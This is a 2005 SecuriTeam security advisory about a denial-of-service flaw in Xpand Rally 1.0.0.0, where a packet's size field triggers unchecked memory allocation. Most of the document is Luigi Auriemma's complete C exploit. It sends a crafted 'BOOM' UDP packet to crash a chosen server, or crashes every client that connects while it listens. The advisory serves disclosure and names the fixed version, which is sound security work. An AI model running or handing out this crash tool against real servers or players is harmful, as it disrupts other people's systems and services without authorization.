[NT] Xpand Rally Broadcast DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 02/01/05

  • Next message: SecuriTeam: "[NT] University of Phoenix Outlook Express Unauthorized Configuration Manipulation"
    To: list@securiteam.com
    Date: 1 Feb 2005 14:23:30 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Xpand Rally Broadcast DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.techland.pl> Xpand Rally is "the recent rally game developed
    by Techland".

    A denial of service vulnerability in Xpand Rally is caused by an unchecked
    memory allocation. The unchecked memory allocation is caused because the
    attacker can decide the exact amount of data to allocate through a 32 bits
    number in his packets.

    DETAILS

    Vulnerable Systems:
     * Xpand Rally version 1.0.0.0

    Immune Systems:
     * Xpand Rally version 1.1.0.0

    If the memory to allocate is too big, the malloc() function will fail and
    since no instructions checks for this, the game will try to write into a
    bad memory zone (0x00000000). On the other hand if the number is big
    enough but can be allocated, memcpy() will fail because it will try to
    read the unallocated memory after the packet's data.

    Naturally both ends of the game (clients and servers) are affected and a
    malicious server is able to passively crash any vulnerable client.

    Exploit:
    /*

    by Luigi Auriemma - http://aluigi.altervista.org/poc/xprallyboom.zip

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netinet/in.h>
        #include <netdb.h>
    #endif

    #define VER "0.1"
    #define BUFFSZ 2048
    #define TIMEOUT 3
    #define PORT 28015
    #define BOOM "\x1C\x00\x00\x00" \
                    "\xff\xff\xff\xff" /* BOOM */
    /* "\xff\xff\xff\xff": malloc() fails and we get a writing to unallocated
    memory
       "\xff\x10\x00\x00": malloc() ok but we get a reading from unallocated
    memory */

    #define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
    *)&peer, sizeof(peer)) \
                      < 0) std_err();

    int timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer;
        int sd,
                len,
                on = 1,
                psz;
        u_short port = PORT;
        u_char buff[BUFFSZ + 1],
                info[] =
                    "\x1C\x00\x00\x00"
                    "\x00\x00\x00\x00" // size, generated at runtime
                    "\x01"
                    "\x0A" // 0, 10, 20 or 30 for verbose info
                    "\x08\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00";

        setbuf(stdout, NULL);

        fputs("\n"
            "Xpand Rally <= 1.0.0.0 server/clients crash "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@autistici.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 2) {
            printf("\n"
                "Usage: %s <attack> [port(%d)]\n"
                "\n"
                "Attack:\n"
                " c = broadcast clients crash\n"
                " s <host> = server crash. If you wanna test your server you
    must simply use:\n"
                " xpandboom s localhost\n"
                "\n", argv[0], port);
            exit(1);
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        if(argv[1][0] == 's') {
            if(argc < 3) {
                fputs("\nError: you must specify the server IP or
    hostname\n\n", stdout);
                exit(1);
            }
            if(argc > 3) port = atoi(argv[3]);
            peer.sin_addr.s_addr = resolv(argv[2]);
            peer.sin_port = htons(port);
            peer.sin_family = AF_INET;

            printf("- target %s : %hu\n",
                inet_ntoa(peer.sin_addr), port);

            sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
            if(sd < 0) std_err();

            *(u_long *)(info + 4) = (sizeof(info) - 1) - 8;
            fputs("- request informations\n", stdout);
            SEND(info);
            if(timeout(sd) < 0) {
                fputs("\nError: socket timeout, no reply received\n\n",
    stdout);
                exit(1);
            }
            len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
            if(len < 0) std_err();

            if(len > 23) {
                len = buff[26];
                buff[27 + len] = 0x00;
                printf("\n Server name: %s\n", buff + 27);
                len += 27 + 3;
                printf(" Players: %d/%d\n", buff[len + 4], buff[len]);
                len += 20;
                buff[len + 1 + buff[len]] = 0x00;
                printf(" Map: %s\n\n", buff + len + 1);
            }

            fputs("- send BOOM packet\n", stdout);
            SEND(BOOM);

            fputs("- check server\n", stdout);
            SEND(info);
            if(timeout(sd) < 0) {
                fputs("\nServer IS vulnerable!!!\n\n", stdout);
            } else {
                fputs("\nServer doesn't seem vulnerable\n\n", stdout);
            }

        } else if(argv[1][0] == 'c') {
            if(argc > 2) port = atoi(argv[2]);
            peer.sin_addr.s_addr = INADDR_ANY;
            peer.sin_port = htons(port);
            peer.sin_family = AF_INET;
            psz = sizeof(peer);

            sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
            if(sd < 0) std_err();
            if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on,
    sizeof(on))
              < 0) std_err();
            if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
              < 0) std_err();
            fputs(" Clients:\n", stdout);
            for(;;) {
                len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer,
    &psz);
                if(len < 0) std_err();
                buff[len] = 0x00;

                printf("%16s : %hu\n",
                    inet_ntoa(peer.sin_addr),
                    ntohs(peer.sin_port));

                SEND(BOOM);
            }

        } else {
            fputs("\nError: you must choose 's' to test a server or 'c' to
    test clients\n\n", stdout);
            exit(1);
        }

        close(sd);
        return(0);
    }

    int timeout(int sock) {
        struct timeval tout;
        fd_set fd_read;
        int err;

        tout.tv_sec = TIMEOUT;
        tout.tv_usec = 0;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &tout);
        if(err < 0) std_err();
        if(!err) return(-1);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)hp->h_addr;
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@autistici.org> Luigi
    Auriemma.
    The original article can be found at:
    <http://aluigi.altervista.org/adv/xprallyboom-adv.txt>
    http://aluigi.altervista.org/adv/xprallyboom-adv.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] University of Phoenix Outlook Express Unauthorized Configuration Manipulation"

    Relevant Pages